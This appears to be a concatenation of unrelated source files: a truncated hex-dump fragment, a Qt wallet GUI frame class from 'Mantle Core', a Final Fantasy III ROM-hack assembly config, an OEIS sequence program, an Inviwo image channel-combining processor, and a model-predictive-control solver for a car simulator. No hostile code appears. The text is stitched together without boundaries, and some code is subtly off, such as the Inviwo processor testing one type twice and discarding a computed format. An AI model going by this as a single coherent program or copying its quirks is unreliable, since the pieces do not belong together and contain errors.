00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
// Copyright (c) 2011-2020 The Mantle Core developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include <qt/walletframe.h> #include <qt/mantlegui.h> #include <qt/createwalletdialog.h> #include <qt/overviewpage.h> #include <qt/walletcontroller.h> #include <qt/walletmodel.h> #include <qt/walletview.h> #include <cassert> #include <QGroupBox> #include <QHBoxLayout> #include <QLabel> #include <QPushButton> #include <QVBoxLayout> WalletFrame::WalletFrame(const PlatformStyle* _platformStyle, MantleGUI* _gui) : QFrame(_gui), gui(_gui), platformStyle(_platformStyle), m_size_hint(OverviewPage{platformStyle, nullptr}.sizeHint()) { // Leave HBox hook for adding a list view later QHBoxLayout *walletFrameLayout = new QHBoxLayout(this); setContentsMargins(0,0,0,0); walletStack = new QStackedWidget(this); walletFrameLayout->setContentsMargins(0,0,0,0); walletFrameLayout->addWidget(walletStack); // hbox for no wallet QGroupBox* no_wallet_group = new QGroupBox(walletStack); QVBoxLayout* no_wallet_layout = new QVBoxLayout(no_wallet_group); QLabel *noWallet = new QLabel(tr("No wallet has been loaded.\nGo to File > Open Wallet to load a wallet.\n- OR -")); noWallet->setAlignment(Qt::AlignCenter); no_wallet_layout->addWidget(noWallet, 0, Qt::AlignHCenter | Qt::AlignBottom); // A button for create wallet dialog QPushButton* create_wallet_button = new QPushButton(tr("Create a new wallet"), walletStack); connect(create_wallet_button, &QPushButton::clicked, [this] { auto activity = new CreateWalletActivity(gui->getWalletController(), this); connect(activity, &CreateWalletActivity::finished, activity, &QObject::deleteLater); activity->create(); }); no_wallet_layout->addWidget(create_wallet_button, 0, Qt::AlignHCenter | Qt::AlignTop); no_wallet_group->setLayout(no_wallet_layout); walletStack->addWidget(no_wallet_group); } WalletFrame::~WalletFrame() { } void WalletFrame::setClientModel(ClientModel *_clientModel) { this->clientModel = _clientModel; for (auto i = mapWalletViews.constBegin(); i != mapWalletViews.constEnd(); ++i) { i.value()->setClientModel(_clientModel); } } bool WalletFrame::addWallet(WalletModel *walletModel) { if (!gui || !clientModel || !walletModel) return false; if (mapWalletViews.count(walletModel) > 0) return false; WalletView *walletView = new WalletView(platformStyle, this); walletView->setClientModel(clientModel); walletView->setWalletModel(walletModel); walletView->showOutOfSyncWarning(bOutOfSync); walletView->setPrivacy(gui->isPrivacyModeActivated()); WalletView* current_wallet_view = currentWalletView(); if (current_wallet_view) { walletView->setCurrentIndex(current_wallet_view->currentIndex()); } else { walletView->gotoOverviewPage(); } walletStack->addWidget(walletView); mapWalletViews[walletModel] = walletView; connect(walletView, &WalletView::outOfSyncWarningClicked, this, &WalletFrame::outOfSyncWarningClicked); connect(walletView, &WalletView::transactionClicked, gui, &MantleGUI::gotoHistoryPage); connect(walletView, &WalletView::coinsSent, gui, &MantleGUI::gotoHistoryPage); connect(walletView, &WalletView::message, [this](const QString& title, const QString& message, unsigned int style) { gui->message(title, message, style); }); connect(walletView, &WalletView::encryptionStatusChanged, gui, &MantleGUI::updateWalletStatus); connect(walletView, &WalletView::incomingTransaction, gui, &MantleGUI::incomingTransaction); connect(walletView, &WalletView::hdEnabledStatusChanged, gui, &MantleGUI::updateWalletStatus); connect(gui, &MantleGUI::setPrivacy, walletView, &WalletView::setPrivacy); return true; } void WalletFrame::setCurrentWallet(WalletModel* wallet_model) { if (mapWalletViews.count(wallet_model) == 0) return; // Stop the effect of hidden widgets on the size hint of the shown one in QStackedWidget. WalletView* view_about_to_hide = currentWalletView(); if (view_about_to_hide) { QSizePolicy sp = view_about_to_hide->sizePolicy(); sp.setHorizontalPolicy(QSizePolicy::Ignored); view_about_to_hide->setSizePolicy(sp); } WalletView *walletView = mapWalletViews.value(wallet_model); assert(walletView); // Set or restore the default QSizePolicy which could be set to QSizePolicy::Ignored previously. QSizePolicy sp = walletView->sizePolicy(); sp.setHorizontalPolicy(QSizePolicy::Preferred); walletView->setSizePolicy(sp); walletView->updateGeometry(); walletStack->setCurrentWidget(walletView); walletView->updateEncryptionStatus(); } void WalletFrame::removeWallet(WalletModel* wallet_model) { if (mapWalletViews.count(wallet_model) == 0) return; WalletView *walletView = mapWalletViews.take(wallet_model); walletStack->removeWidget(walletView); delete walletView; } void WalletFrame::removeAllWallets() { QMap<WalletModel*, WalletView*>::const_iterator i; for (i = mapWalletViews.constBegin(); i != mapWalletViews.constEnd(); ++i) walletStack->removeWidget(i.value()); mapWalletViews.clear(); } bool WalletFrame::handlePaymentRequest(const SendCoinsRecipient &recipient) { WalletView *walletView = currentWalletView(); if (!walletView) return false; return walletView->handlePaymentRequest(recipient); } void WalletFrame::showOutOfSyncWarning(bool fShow) { bOutOfSync = fShow; QMap<WalletModel*, WalletView*>::const_iterator i; for (i = mapWalletViews.constBegin(); i != mapWalletViews.constEnd(); ++i) i.value()->showOutOfSyncWarning(fShow); } void WalletFrame::gotoOverviewPage() { QMap<WalletModel*, WalletView*>::const_iterator i; for (i = mapWalletViews.constBegin(); i != mapWalletViews.constEnd(); ++i) i.value()->gotoOverviewPage(); } void WalletFrame::gotoHistoryPage() { QMap<WalletModel*, WalletView*>::const_iterator i; for (i = mapWalletViews.constBegin(); i != mapWalletViews.constEnd(); ++i) i.value()->gotoHistoryPage(); } void WalletFrame::gotoReceiveCoinsPage() { QMap<WalletModel*, WalletView*>::const_iterator i; for (i = mapWalletViews.constBegin(); i != mapWalletViews.constEnd(); ++i) i.value()->gotoReceiveCoinsPage(); } void WalletFrame::gotoSendCoinsPage(QString addr) { QMap<WalletModel*, WalletView*>::const_iterator i; for (i = mapWalletViews.constBegin(); i != mapWalletViews.constEnd(); ++i) i.value()->gotoSendCoinsPage(addr); } void WalletFrame::gotoSignMessageTab(QString addr) { WalletView *walletView = currentWalletView(); if (walletView) walletView->gotoSignMessageTab(addr); } void WalletFrame::gotoVerifyMessageTab(QString addr) { WalletView *walletView = currentWalletView(); if (walletView) walletView->gotoVerifyMessageTab(addr); } void WalletFrame::gotoLoadPSBT(bool from_clipboard) { WalletView *walletView = currentWalletView(); if (walletView) { walletView->gotoLoadPSBT(from_clipboard); } } void WalletFrame::encryptWallet(bool status) { WalletView *walletView = currentWalletView(); if (walletView) walletView->encryptWallet(status); } void WalletFrame::backupWallet() { WalletView *walletView = currentWalletView(); if (walletView) walletView->backupWallet(); } void WalletFrame::changePassphrase() { WalletView *walletView = currentWalletView(); if (walletView) walletView->changePassphrase(); } void WalletFrame::unlockWallet() { WalletView *walletView = currentWalletView(); if (walletView) walletView->unlockWallet(); } void WalletFrame::usedSendingAddresses() { WalletView *walletView = currentWalletView(); if (walletView) walletView->usedSendingAddresses(); } void WalletFrame::usedReceivingAddresses() { WalletView *walletView = currentWalletView(); if (walletView) walletView->usedReceivingAddresses(); } WalletView* WalletFrame::currentWalletView() const { return qobject_cast<WalletView*>(walletStack->currentWidget()); } WalletModel* WalletFrame::currentWalletModel() const { WalletView* wallet_view = currentWalletView(); return wallet_view ? wallet_view->getWalletModel() : nullptr; } void WalletFrame::outOfSyncWarningClicked() { Q_EMIT requestedSyncWarningInfo(); }
;; _ff3-DSfy-DEV.asm ;; creates hacked file with features under development (and sometimes unstable) included ;; ;;================================================================================================= ;;feature flags. BALANCED_VERSION EXTRA_MAP EXPERIMENTAL ;EXPERIMENT_IMPL = 5 ; encount test EXPERIMENT_IMPL = 4 ; sound test ;_OPTIMIZE_FIELD_WINDOW ;_FEATURE_STOMACH_AMOUNT_1BYTE ;_FEATURE_DEFERRED_RENDERING ;_FEATURE_MEMOIZE_BANK_SWITCH ;_FEATURE_FAST_ELIGIBILITY ;_FEATURE_FAST_BATTLE_WINDOW ;_FEATURE_FAST_BATTLE_WINDOW_ERASE ;_FIX_POISON ;_FIX_REFLECTION POISON_DAMAGE_SHIFT = 1 ;JOB_AVAILABILITY.NO_CRYSTAL = $00 ;JOB_AVAILABILITY.WIND = $05 ;JOB_AVAILABILITY.FIRE = $09 ;;original == 09 ;JOB_AVAILABILITY.WATER = $10 ;JOB_AVAILABILITY.EARTH = $13 ;;original == 13 ;JOB_AVAILABILITY.EUREKA = $30 ;; the below should be the final line of this file .include "_ff3-DSfy.asm"
; A247608: a(n) = Sum_{k=0..3} binomial(6,k)*binomial(n,k). ; 1,7,28,84,195,381,662,1058,1589,2275,3136,4192,5463,6969,8730,10766,13097,15743,18724,22060,25771,29877,34398,39354,44765,50651,57032,63928,71359,79345,87906,97062,106833,117239,128300,140036,152467,165613,179494,194130,209541,225747,242768,260624,279335,298921,319402,340798,363129,386415,410676,435932,462203,489509,517870,547306,577837,609483,642264,676200,711311,747617,785138,823894,863905,905191,947772,991668,1036899,1083485,1131446,1180802,1231573,1283779,1337440,1392576,1449207,1507353,1567034,1628270,1691081,1755487,1821508,1889164,1958475,2029461,2102142,2176538,2252669,2330555,2410216,2491672,2574943,2660049,2747010,2835846,2926577,3019223,3113804,3210340,3308851,3409357,3511878,3616434,3723045,3831731,3942512,4055408,4170439,4287625,4406986,4528542,4652313,4778319,4906580,5037116,5169947,5305093,5442574,5582410,5724621,5869227,6016248,6165704,6317615,6472001,6628882,6788278,6950209,7114695,7281756,7451412,7623683,7798589,7976150,8156386,8339317,8524963,8713344,8904480,9098391,9295097,9494618,9696974,9902185,10110271,10321252,10535148,10751979,10971765,11194526,11420282,11649053,11880859,12115720,12353656,12594687,12838833,13086114,13336550,13590161,13846967,14106988,14370244,14636755,14906541,15179622,15456018,15735749,16018835,16305296,16595152,16888423,17185129,17485290,17788926,18096057,18406703,18720884,19038620,19359931,19684837,20013358,20345514,20681325,21020811,21363992,21710888,22061519,22415905,22774066,23136022,23501793,23871399,24244860,24622196,25003427,25388573,25777654,26170690,26567701,26968707,27373728,27782784,28195895,28613081,29034362,29459758,29889289,30322975,30760836,31202892,31649163,32099669,32554430,33013466,33476797,33944443,34416424,34892760,35373471,35858577,36348098,36842054,37340465,37843351,38350732,38862628,39379059,39900045,40425606,40955762,41490533,42029939,42574000,43122736,43676167,44234313,44797194,45364830,45937241,46514447,47096468,47683324,48275035,48871621,49473102,50079498,50690829,51307115 mov $1,1 mov $4,6 lpb $0,1 sub $0,1 mov $3,2 add $3,$5 add $3,3 add $4,$2 trn $2,6 add $4,$5 sub $4,1 add $1,$4 add $1,1 add $2,1 add $4,$3 add $5,10 lpe
/********************************************************************************* * * Inviwo - Interactive Visualization Workshop * * Copyright (c) 2013-2019 Inviwo Foundation * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * 1. Redistributions of source code must retain the above copyright notice, this * list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * *********************************************************************************/ #include <modules/basegl/processors/imageprocessing/imagechannelcombine.h> #include <modules/opengl/texture/textureunit.h> #include <modules/opengl/texture/textureutils.h> #include <modules/opengl/shader/shaderutils.h> namespace inviwo { const ProcessorInfo ImageChannelCombine::processorInfo_{ "org.inviwo.ImageChannelCombine", // Class identifier "Image Channel Combine", // Display name "Image Operation", // Category CodeState::Experimental, // Code state Tags::GL, // Tags }; const ProcessorInfo ImageChannelCombine::getProcessorInfo() const { return processorInfo_; } ImageChannelCombine::ImageChannelCombine() : Processor() , inport0_("inport0", true) , inport1_("inport1", true) , inport2_("inport2", true) , inport3_("inport3", true) , outport_("outport", false) , rChannelSrc_("redChannel", "Red Channel", {{"r", "Red", 0}, {"g", "Green", 1}, {"b", "Blue", 2}, {"a", "Alpha", 3}}) , gChannelSrc_("greenChannel", "Green Channel", {{"r", "Red", 0}, {"g", "Green", 1}, {"b", "Blue", 2}, {"a", "Alpha", 3}}) , bChannelSrc_("blueChannel", "Blue Channel", {{"r", "Red", 0}, {"g", "Green", 1}, {"b", "Blue", 2}, {"a", "Alpha", 3}}) , aChannelSrc_("alphaChannel", "Alpha Channel", {{"r", "Red", 0}, {"g", "Green", 1}, {"b", "Blue", 2}, {"a", "Alpha", 3}}) , alpha_("alpha", "Alpha", 1.0f, 0.0f, 1.0f, 0.001f) , shader_("img_channel_combine.frag") { shader_.onReload([this]() { invalidate(InvalidationLevel::InvalidResources); }); addPort(inport0_); addPort(inport1_); addPort(inport2_); inport3_.setOptional(true); addPort(inport3_); addPort(outport_); addProperties(rChannelSrc_, gChannelSrc_, bChannelSrc_, aChannelSrc_, alpha_); } void ImageChannelCombine::process() { auto isSame = [](auto a, auto b, auto c) { if (a != b) return false; if (a != c) return false; return true; }; auto img0 = inport0_.getData(); auto img1 = inport1_.getData(); auto img2 = inport2_.getData(); auto img3 = inport3_.getData(); if (isSame(img0->getDimensions(), img1->getDimensions(), img2->getDimensions()) && (inport3_.isConnected() && img3 && img3->getDimensions() != img0->getDimensions())) { throw Exception("The image dimensions of all inports needs to be the same", IVW_CONTEXT); } if (inport0_.isChanged() || inport1_.isChanged() || inport2_.isChanged()) { const auto dimensions = inport0_.getData()->getDimensions(); auto t1 = inport0_.getData()->getDataFormat()->getNumericType(); auto t2 = inport1_.getData()->getDataFormat()->getNumericType(); auto t3 = inport2_.getData()->getDataFormat()->getNumericType(); NumericType type; if (t1 == t2 && t1 == t3) { // All have the same numType type = t1; } else if (t1 == NumericType::Float || t2 == NumericType::Float || t2 == NumericType::Float) { // At least one is a float type type = NumericType::Float; } else { // At least one are signed, and at least one are unsigned type = NumericType::Float; } auto p0 = inport0_.getData()->getDataFormat()->getPrecision(); auto p1 = inport1_.getData()->getDataFormat()->getPrecision(); auto p2 = inport2_.getData()->getDataFormat()->getPrecision(); DataFormatBase::get(type, 4, std::max({p0, p1, p2})); auto img = std::make_shared<Image>(dimensions, DataVec4UInt8::get()); outport_.setData(img); } utilgl::activateAndClearTarget(outport_); shader_.activate(); TextureUnitContainer units; utilgl::bindAndSetUniforms(shader_, units, inport0_, ImageType::ColorOnly); utilgl::bindAndSetUniforms(shader_, units, inport1_, ImageType::ColorOnly); utilgl::bindAndSetUniforms(shader_, units, inport2_, ImageType::ColorOnly); if (inport3_.hasData()) { utilgl::bindAndSetUniforms(shader_, units, inport3_, ImageType::ColorOnly); } utilgl::setUniforms(shader_, outport_, rChannelSrc_, gChannelSrc_, bChannelSrc_, aChannelSrc_, alpha_); shader_.setUniform("use_alpha_texture", inport3_.hasData()); utilgl::setUniforms(shader_, outport_); utilgl::singleDrawImagePlaneRect(); shader_.deactivate(); utilgl::deactivateCurrentTarget(); } } // namespace inviwo
#include "MPC.hpp" #include <cppad/ipopt/solve.hpp> #include <iostream> #include <string> #include <vector> #include "Eigen-3.3/Eigen/Core" #include "Eigen-3.3/Eigen/QR" #include "Eigen-3.3/Eigen/Householder" using CppAD::AD; // This value assumes the model presented in the classroom is used. // // It was obtained by measuring the radius formed by running the vehicle in the // simulator around in a circle with a constant steering angle and velocity on // a flat terrain. // // Lf was tuned until the the radius formed by the simulating the model // presented in the classroom matched the previous radius. // // This is the length from front to CoG that has a similar radius. const double Lf = 2.67; class FG_eval { public: using Dvector = CPPAD_TESTVECTOR(double); // Fitted polynomial coefficients MPC::PolynomialCoefficient m_coeffs; MPC::ModelVariables m_modelVariables; FG_eval(const MPC::PolynomialCoefficient & coeffs, const MPC::StateVars & states, const size_t nSteps, const size_t nActuator, const double dt, const double ref_v) : m_coeffs(coeffs) , m_modelVariables(states, nSteps, nActuator, dt, ref_v) { } void solve(const std::string & options, CppAD::ipopt::solve_result<Dvector> & solution) { // see an example how ipopt wors // https://www.coin-or.org/CppAD/Doc/ipopt_solve_get_started.cpp.htm // https://projects.coin-or.org/CoinBinary/export/837/CoinAll/trunk/Installer/files/doc/Short%20tutorial%20Ipopt.pdf // // https://www.khanacademy.org/math/multivariable-calculus/applications-of-multivariable-derivatives/lagrange-multipliers-and-constrained-optimization/v/constrained-optimization-introduction // CppAD::ipopt::solve<Dvector, FG_eval>( options, m_modelVariables.m_vars, m_modelVariables.m_varsLowerbound, m_modelVariables.m_varsUpperbound, m_modelVariables.m_constraintsLowerbound, m_modelVariables.m_constraintsUpperbound, *this, solution); } typedef CPPAD_TESTVECTOR(AD<double>) ADvector; void operator()(ADvector& fg, const ADvector& vars) { std::cout << "solve" << std::endl; const size_t x_startIdx = m_modelVariables.m_x_startIdx; const size_t y_startIdx = m_modelVariables.m_y_startIdx; const size_t psi_startIdx = m_modelVariables.m_psi_startIdx; const size_t v_startIdx = m_modelVariables.m_v_startIdx; const size_t cte_startIdx = m_modelVariables.m_cte_startIdx; const size_t epsi_startIdx = m_modelVariables.m_epsi_startIdx; const size_t delta_startIdx = m_modelVariables.m_delta_startIdx; const size_t a_startIdx = m_modelVariables.m_a_startIdx; const size_t nSteps = m_modelVariables.m_nSteps; const double ref_v = m_modelVariables.m_ref_v; const double dt = m_modelVariables.m_dt; // Weights to influence the importance of costs const double cte_CostWeight = 2000; const double epsi_CostWeight = 2000; const double v_costWeight = 1; const double delta_costWeight = 10; const double a_costWeight = 10; const double delta_changeCostWeight = 100; const double a_changeCostWeight = 10; // The cost is stored is the first element of `fg`. // Any additions to the cost is added to `fg[0]`. // // This refers to f(x), the equation that shall be minimized // the variable vars contain the all the x's, the state parameters // for all time steps fg[0] = 0; // The part of the cost based on the reference state. // Cost for CTE, orientation error and velocity for (size_t t = 0; t < nSteps; ++t) { fg[0] += cte_CostWeight * CppAD::pow(vars[cte_startIdx + t], 2); // position error fg[0] += epsi_CostWeight * CppAD::pow(vars[epsi_startIdx + t], 2); // car direction error fg[0] += v_costWeight * CppAD::pow(vars[v_startIdx + t] - ref_v, 2); // speed error } // Minimize the use of actuators. // Cost for steering and acceleration for (size_t t = 0; t < nSteps - 1; ++t) { fg[0] += delta_costWeight * CppAD::pow(vars[delta_startIdx + t], 2); // penalize hard steering fg[0] += a_costWeight * CppAD::pow(vars[a_startIdx + t], 2); // penalize hard acceleration } // Minimize the value gap between sequential actuations. // Costs steering and acceleration changes (makes the ride smoother) for (size_t t = 0; t < nSteps - 2; ++t) { fg[0] += delta_changeCostWeight * CppAD::pow(vars[delta_startIdx + t + 1] - vars[delta_startIdx + t], 2); // penalize steering changes fg[0] += a_changeCostWeight * CppAD::pow(vars[a_startIdx + t + 1] - vars[a_startIdx + t], 2); // penalize acceleleration changes } // // setup model constraints // // Initial constraints // // The contraints are model equations for all states. In other words: // The cost function f(x) shall be minimized under the contraints of state // equations g(x). // // // We add 1 to each of the starting indices due to cost being located at // index 0 of `fg`. // This bumps up the position of all the other values. // // Previously, we have set the corresponding constraints_lowerbound and // the constraints_upperbound values to 0. That means the solver will // force this value of fg to always be 0. // fg[1 + x_startIdx] = vars[x_startIdx]; fg[1 + y_startIdx] = vars[y_startIdx]; fg[1 + psi_startIdx] = vars[psi_startIdx]; fg[1 + v_startIdx] = vars[v_startIdx]; fg[1 + cte_startIdx] = vars[cte_startIdx]; fg[1 + epsi_startIdx] = vars[epsi_startIdx]; // The rest of the constraints for (size_t t = 1; t < nSteps; ++t) { // The state at time t+1 . AD<double> x1 = vars[x_startIdx + t]; AD<double> y1 = vars[y_startIdx + t]; AD<double> psi1 = vars[psi_startIdx + t]; AD<double> v1 = vars[v_startIdx + t]; AD<double> cte1 = vars[cte_startIdx + t]; AD<double> epsi1 = vars[epsi_startIdx + t]; // The state at time t. AD<double> x0 = vars[x_startIdx + t - 1]; AD<double> y0 = vars[y_startIdx + t - 1]; AD<double> psi0 = vars[psi_startIdx + t - 1]; AD<double> v0 = vars[v_startIdx + t - 1]; // AD<double> cte0 = vars[cte_startIdx + t - 1]; AD<double> epsi0 = vars[epsi_startIdx + t - 1]; // Consider the actuation at time t. AD<double> delta0 = vars[delta_startIdx + t - 1]; AD<double> a0 = vars[a_startIdx + t - 1]; if (t > 1) { // use previous actuations (to account for latency) a0 = vars[a_startIdx + t - 2]; delta0 = vars[delta_startIdx + t - 2]; } assert(m_coeffs.size() > 1); // this solves the polynomial // f(x) = a + bx + cx^2 ... zx^n // // AD<double> f0 = m_coeffs[0] + // m_coeffs[1] * x0 + // m_coeffs[2] * CppAD::pow(x0, 2) + // m_coeffs[3] * CppAD::pow(x0, 3); // // AD<double> psides0 = CppAD::atan( // m_coeffs[1] + // 2 * m_coeffs[2] * x0 + // 3 * m_coeffs[3] * CppAD::pow(x0, 2) // ); AD<double> f0 = m_coeffs(0) + m_coeffs(1) * x0; AD<double> atanParm = m_coeffs[1]; for (int parameter = 2; parameter < m_coeffs.size(); ++parameter) { const double coeff = m_coeffs(parameter); f0 += coeff * CppAD::pow(x0, parameter); atanParm += coeff * CppAD::pow(x0, parameter - 1) * parameter; } AD<double> psides0 = CppAD::atan(atanParm); // Here's `x` to get you started. // The idea here is to constraint this value to be 0. // // Recall the equations for the model: // x_[t+1] = x[t] + v[t] * cos(psi[t]) * dt // y_[t+1] = y[t] + v[t] * sin(psi[t]) * dt // psi_[t+1] = psi[t] + v[t] / Lf * delta[t] * dt // v_[t+1] = v[t] + a[t] * dt // cte[t+1] = f(x[t]) - y[t] + v[t] * sin(epsi[t]) * dtepsi1 - ((psi0 - psides0) + v0 * delta0 / Lf * dt); // epsi[t+1] = psi[t] - psides[t] + v[t] * delta[t] / Lf * dt fg[1 + x_startIdx + t] = x1 - (x0 + v0 * CppAD::cos(psi0) * dt); fg[1 + y_startIdx + t] = y1 - (y0 + v0 * CppAD::sin(psi0) * dt); fg[1 + psi_startIdx + t] = psi1 - (psi0 - v0/Lf * delta0 * dt); // this is negative as the steering angle for the simulator is negative fg[1 + v_startIdx + t] = v1 - (v0 + a0 * dt); fg[1 + cte_startIdx + t] = cte1 - ((f0 - y0) + (v0 * CppAD::sin(epsi0) * dt)); fg[1 + epsi_startIdx + t] = epsi1 - ((psi0 - psides0) - v0/Lf * delta0 * dt); // this is negative as the steering angle for the simulator is negative } } }; // // MPC class definition implementation. // MPC::MPC() {} MPC::~MPC() {} void MPC::Coordinates::transformToCarPerspective(const double carPosX, const double carPosY, const double carOrientation) { for (size_t i = 0; i < size(); ++i) { double & x = m_x[i]; double & y = m_y[i]; const double dx = x - carPosX; const double dy = y - carPosY; x = dx * cos(-carOrientation) - dy * sin(-carOrientation); y = dx * sin(-carOrientation) + dy * cos(-carOrientation); } } MPC::ModelVariables::ModelVariables(const StateVars & states, const size_t nSteps, const size_t nActuator, const double dt, const double ref_v) : m_nSteps(nSteps) , m_nActuator(nActuator) /** * Set the number of model variables (includes both states and inputs). * For example: If the state is a 6 element vector, the actuators is a 2 * element vector and there are 10 timesteps. The number of variables is: * 6 * 10 + 2 * 9 */ , m_nVars(m_nSteps * StateVars::size() + (m_nSteps - 1) * m_nActuator) , m_nContraints(StateVars::size() * m_nSteps) , m_dt(dt) , m_ref_v(ref_v) , m_vars(m_nVars) , m_varsLowerbound(m_nVars) , m_varsUpperbound(m_nVars) , m_constraintsLowerbound(m_nContraints) , m_constraintsUpperbound(m_nContraints) , m_x_startIdx(0) , m_y_startIdx(m_x_startIdx + m_nSteps) , m_psi_startIdx(m_y_startIdx + m_nSteps) , m_v_startIdx(m_psi_startIdx + m_nSteps) , m_cte_startIdx(m_v_startIdx + m_nSteps) , m_epsi_startIdx(m_cte_startIdx + m_nSteps) , m_delta_startIdx(m_epsi_startIdx + m_nSteps) , m_a_startIdx(m_delta_startIdx + m_nSteps - 1) { // reset all variables to 0.0 std::fill_n(m_vars.data(), m_nVars, 0.0); // Set the initial model variable values m_vars[m_x_startIdx] = states.m_x; m_vars[m_y_startIdx] = states.m_y; m_vars[m_psi_startIdx] = states.m_psi; m_vars[m_v_startIdx] = states.m_v; m_vars[m_cte_startIdx] = states.m_cte; m_vars[m_epsi_startIdx] = states.m_epsi; // Set all non-actuators upper and lowerlimits // to the max negative and positive values. std::fill_n(&m_varsLowerbound[0], m_delta_startIdx - 0, -1.0e19); std::fill_n(&m_varsUpperbound[0], m_delta_startIdx - 0, 1.0e19); // The upper and lower limits of delta are set to -25 and 25 // degrees (values in radians). // NOTE: Feel free to change this to something else. std::fill_n(&m_varsLowerbound[m_delta_startIdx], m_a_startIdx - m_delta_startIdx, -0.436332); std::fill_n(&m_varsUpperbound[m_delta_startIdx], m_a_startIdx - m_delta_startIdx, 0.436332); // Acceleration/decceleration upper and lower limits. // NOTE: Feel free to change this to something else. std::fill_n(&m_varsLowerbound[m_a_startIdx], m_nVars - m_a_startIdx, -1.0); std::fill_n(&m_varsUpperbound[m_a_startIdx], m_nVars - m_a_startIdx, 1.0); // Lower and upper limits for the constraints // Should be 0 besides initial state. std::fill_n(m_constraintsLowerbound.data(), m_nContraints, 0.0); std::fill_n(m_constraintsUpperbound.data(), m_nContraints, 0.0); m_constraintsLowerbound[m_x_startIdx] = states.m_x; m_constraintsLowerbound[m_y_startIdx] = states.m_y; m_constraintsLowerbound[m_psi_startIdx] = states.m_psi; m_constraintsLowerbound[m_v_startIdx] = states.m_v; m_constraintsLowerbound[m_cte_startIdx] = states.m_cte; m_constraintsLowerbound[m_epsi_startIdx] = states.m_epsi;; m_constraintsUpperbound[m_x_startIdx] = states.m_x; m_constraintsUpperbound[m_y_startIdx] = states.m_y; m_constraintsUpperbound[m_psi_startIdx] = states.m_psi; m_constraintsUpperbound[m_v_startIdx] = states.m_v; m_constraintsUpperbound[m_cte_startIdx] = states.m_cte; m_constraintsUpperbound[m_epsi_startIdx] = states.m_epsi; } MPC::Actuation MPC::solve(const StateVars &state, const PolynomialCoefficient &coeffs) { bool ok = true; using Dvector = CPPAD_TESTVECTOR(double); // object that computes objective and constraints FG_eval fg_eval(coeffs, state, m_nSteps, m_nActuator, m_dt, m_ref_v); // NOTE: You don't have to worry about these options // options for IPOPT solver std::string options; // Uncomment this if you'd like more print information options += "Integer print_level 0\n"; // NOTE: Setting sparse to true allows the solver to take advantage // of sparse routines, this makes the computation MUCH FASTER. If you can // uncomment 1 of these and see if it makes a difference or not but if you // uncomment both the computation time should go up in orders of magnitude. options += "Sparse true forward\n"; options += "Sparse true reverse\n"; // NOTE: Currently the solver has a maximum time limit of 0.5 seconds. // Change this as you see fit. options += "Numeric max_cpu_time 0.5\n"; // place to return solution CppAD::ipopt::solve_result<Dvector> solution; // solve the problem fg_eval.solve(options, solution); // Check some of the solution values ok &= solution.status == CppAD::ipopt::solve_result<Dvector>::success; // Cost auto cost = solution.obj_value; std::cout << "Cost " << cost << std::endl; Actuation actuation; assert(actuation.size() == m_nActuator * m_nSteps); actuation[0] = solution.x[fg_eval.m_modelVariables.m_delta_startIdx]; actuation[1] = solution.x[fg_eval.m_modelVariables.m_a_startIdx]; const double * const mpcX = &solution.x[fg_eval.m_modelVariables.m_x_startIdx + 1]; const double * const mpcY = &solution.x[fg_eval.m_modelVariables.m_y_startIdx + 1]; const size_t nMpcCoordinates = m_nSteps - 1; std::copy_n(mpcX, nMpcCoordinates, &actuation[2]); std::copy_n(mpcY, nMpcCoordinates, &actuation[2 + nMpcCoordinates]); return actuation; } // Fit a polynomial. // Adapted from // https://github.com/JuliaMath/Polynomials.jl/blob/master/src/Polynomials.jl#L676-L716 MPC::PolynomialCoefficient MPC::Coordinates::polyfit() const { assert(size() > 0); PolynomialCoefficient coeffs; const size_t order = coeffs.size() - 1; assert(order > 1); Eigen::MatrixXd A(size(), order + 1); for (size_t i = 0; i < size(); ++i) { A(i, 0) = 1.0; } for (size_t j = 0; j < size(); ++j) { for (size_t i = 0; i < order; ++i) { A(j, i + 1) = A(j, i) * getX(j); } } Eigen::Map<const Eigen::VectorXd> y(getYs().data(), getYs().size()); auto Q = A.householderQr(); coeffs = Q.solve(y); return coeffs; } double MPC::polyeval(const PolynomialCoefficient & coeffs, const double x) { double result = 0.0; for (int i = 0; i < coeffs.size(); ++i) { result += coeffs[i] * pow(x, i); } return result; } void MPC::StateVars::setError(const PolynomialCoefficient & coeffs) { m_cte = coeffs(0); // MPC::polyeval(coeffs, 0); m_epsi = -atan(coeffs(1)); }
